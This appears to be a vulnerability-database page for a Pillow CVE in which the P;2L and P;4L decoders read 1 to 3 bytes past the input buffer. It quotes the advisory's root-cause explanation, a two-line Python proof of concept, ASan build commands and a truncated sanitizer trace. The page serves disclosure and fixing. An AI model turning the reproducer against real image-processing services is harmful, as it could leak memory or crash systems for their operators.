Skip to main content
VulnerabilityPublished Updated

CVE-2026-112394: Pillow · P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size

Affects aiderSource GCVE Database

0
Compare
Authoritative record:CVE-2026-112394· Medium 6.3

Not known to be exploited · CVSS 6.3 Medium.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score
6.3Medium
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 4.06.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 19 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Affected software

ProductAffectedFixed in
Homebrewaiderpkg:brew/aiderOther threatsAffected
  • >=0.86.1_1
Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary On `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height. ### Details `ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies. The raw decoder derives the line size from the bits per pixel ```c state->bytes = (state->xsize * state->bits + 7) / 8; ``` and uses it both for the bounds check and to advance to the next line. For `P;2L` and `P;4L`, `bits` is 2 and 4 respectively. But these two rawmodes are not packed pixels but 2 or 4 *bit planes*, each padded to a whole number of bytes. `unpackP2L` computes `s = (pixels + 7) / 8` and reads plane *k* at offset `k * s`, and `unpackP4L` does the same across four planes. Their real footprint is therefore `planes * ((xsize + 7) / 8)`. For some widths, padding each plane separately makes this footprint larger than `state->bytes`. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset. #9725's check is misshapen for this: * It can reject data of the right length: 8x1 `P;2L` image is 2 bytes but is not accepted. * It still accepts buffers shorter than the unpackers require for a given image shape. * It measures the length with `len(data)`, which is an element count rather than a byte count; e.g. `memoryview(array("I", [0,0,0,0,0]))` (20 bytes) is rejected while `mv.tobytes()` is accepted. ### PoC ( `ghsa_p2l_p4l.py`) ```python from array import array from PIL import Image # 1 byte past Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L") # 3 bytes past Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L") ``` is the almost-simplest reproducer. (`array` is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates `bytes`es with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.) On my Mac, I can get ASan to scream about this with ```bash export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib) env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e . env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py ``` like so: <details> ``` python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space. unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371 unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372 unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373 unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374 ================================================================= ==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38 READ of size 1 at 0x602000037374 thread T0 #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680) #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360) #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c) #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c) #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8) #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c) #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864) #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14) #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0) #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834) #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60) #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54) #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c) #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c) #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820) #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644) #16 0x000194c86b94 (<unknown module>) 0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374) allocated by thread T0 here: #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c) #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324) #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64

References

Community reviews

Loading reviews…